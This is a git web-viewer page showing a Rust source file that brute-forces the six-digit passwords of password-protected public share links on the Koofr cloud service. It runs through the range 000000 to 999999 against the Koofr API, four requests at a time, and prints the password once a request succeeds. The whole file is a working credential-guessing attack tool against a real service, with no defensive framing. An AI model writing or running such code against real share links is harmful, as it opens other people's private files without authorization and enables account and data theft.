summaryrefslogtreecommitdiff
path: root/src/main.rs
blob: 03f0f246276ddf0e8adf32d9be4e8cea3a1d11db (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
use clap::Parser;
use reqwest::{Client, StatusCode};
use std::sync::{
    Arc,
    atomic::{AtomicBool, Ordering},
};
use tokio::task::JoinSet;

#[derive(Debug, Parser)]
struct Cli {
    link: Arc<String>,
    #[arg(default_value_t = 0)]
    start: u32,
    #[arg(default_value_t = 999999)]
    end: u32,
}

async fn query_api(client: &Client, link: &str, pass: u32) -> Result<Option<u32>, u32> {
    let url = format!("https://app.koofr.net/api/v2/public/links/{link}?password={pass:06}");
    match client.get(&url).send().await {
        Ok(resp) => match resp.status() {
            StatusCode::OK => Ok(Some(pass)),
            StatusCode::UNAUTHORIZED => Ok(None),
            _ => Err(pass),
        },
        Err(_) => Err(pass),
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let args = Cli::parse();
    let client = Client::new();
    let running = Arc::new(AtomicBool::new(true));
    let r = running.clone();

    ctrlc::set_handler(move || {
        r.store(false, Ordering::SeqCst);
    })
    .expect("Error setting ctrl+c handler");

    for passes in (args.start..args.end).collect::<Vec<_>>().chunks(4) {
        if !running.load(Ordering::SeqCst) {
            println!("Stopped at:\t{}", passes.first().unwrap());
            return Ok(());
        }
        let mut set = JoinSet::<Result<Option<u32>, u32>>::new();

        for pass in passes {
            let link = args.link.clone();
            let client = client.clone();
            let p = *pass;
            set.spawn(async move { query_api(&client, &link, p).await });
        }

        while let Some(res) = set.join_next().await {
            match res? {
                Ok(Some(num)) => {
                    println!("Found:\t{num}");
                    return Ok(());
                }
                Err(num) => eprintln!("Error on:\t{num}"),
                _ => (),
            }
        }
    }

    Err(anyhow::anyhow!("Nothing was found"))
}